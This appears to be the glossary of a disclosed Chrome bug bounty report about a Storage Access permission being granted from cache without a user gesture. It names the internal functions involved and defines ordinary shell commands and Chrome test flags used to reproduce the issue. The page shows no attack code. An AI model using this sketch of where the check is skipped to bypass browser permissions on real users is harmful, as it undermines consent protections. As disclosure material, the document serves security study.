  • embedding_origin: the origin of the page that embeds the frame.
  • origin_: the origin of the frame itself.
  • active_permissions_map_: the internal table where Chrome stores active grants, keyed by origin.
  • DoRequestPermission: the internal function that triggers a permission request, which returns early if the grant is already granted.
  • RequestPermission: the function that contains the third-party check at :935.
  • GetStatus(): the function that reports whether a grant is granted, asked or denied.
  • CanAutoGrantViaPersistentPermission: the function that upgrades an "ask" to "granted" when the site has a persistent permission.
  • PermissionContextBase::RequestPermission: the base permission function that returns a cached Storage Access answer before reaching the user-gesture check.
  • User gesture: a deliberate action by the user, such as a click, that browsers require before granting certain permissions.
  • location.ancestorOrigins: a browser property listing the origins of the pages that embed the current frame.
  • origin: a browser property giving the current page's own origin.
  • new Date().toISOString(): a JavaScript expression that produces the current time in a standard text format.
  • cat: a terminal command that prints a file's contents.
  • mkdir: a terminal command that creates a folder.
  • echo: a terminal command that prints text.
  • $(date): shell syntax that runs the date command and substitutes its output.
  • >: shell syntax that redirects output into a file.
  • &&: shell syntax meaning "and then, only if the previous command succeeded".
  • [redacted]: the loopback address, meaning your own machine.
  • /etc/hosts: the standard location of the hosts file on Linux and similar systems.
  • /tmp: a standard temporary folder on Linux and similar systems.
  • python3 -m http.server: a one-line static file server built into Python.
  • --unsafely-treat-insecure-origin-as-secure: a Chrome flag that treats listed plain-HTTP origins as secure.
  • --test-third-party-cookie-phaseout: a Chrome flag that enables the third-party cookie phaseout behaviour.
  • no_prompt.mp4: the screen recording in the report that demonstrates the no-click persistence case.

More by nh.dev2022

View all

1 more disclosed report, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.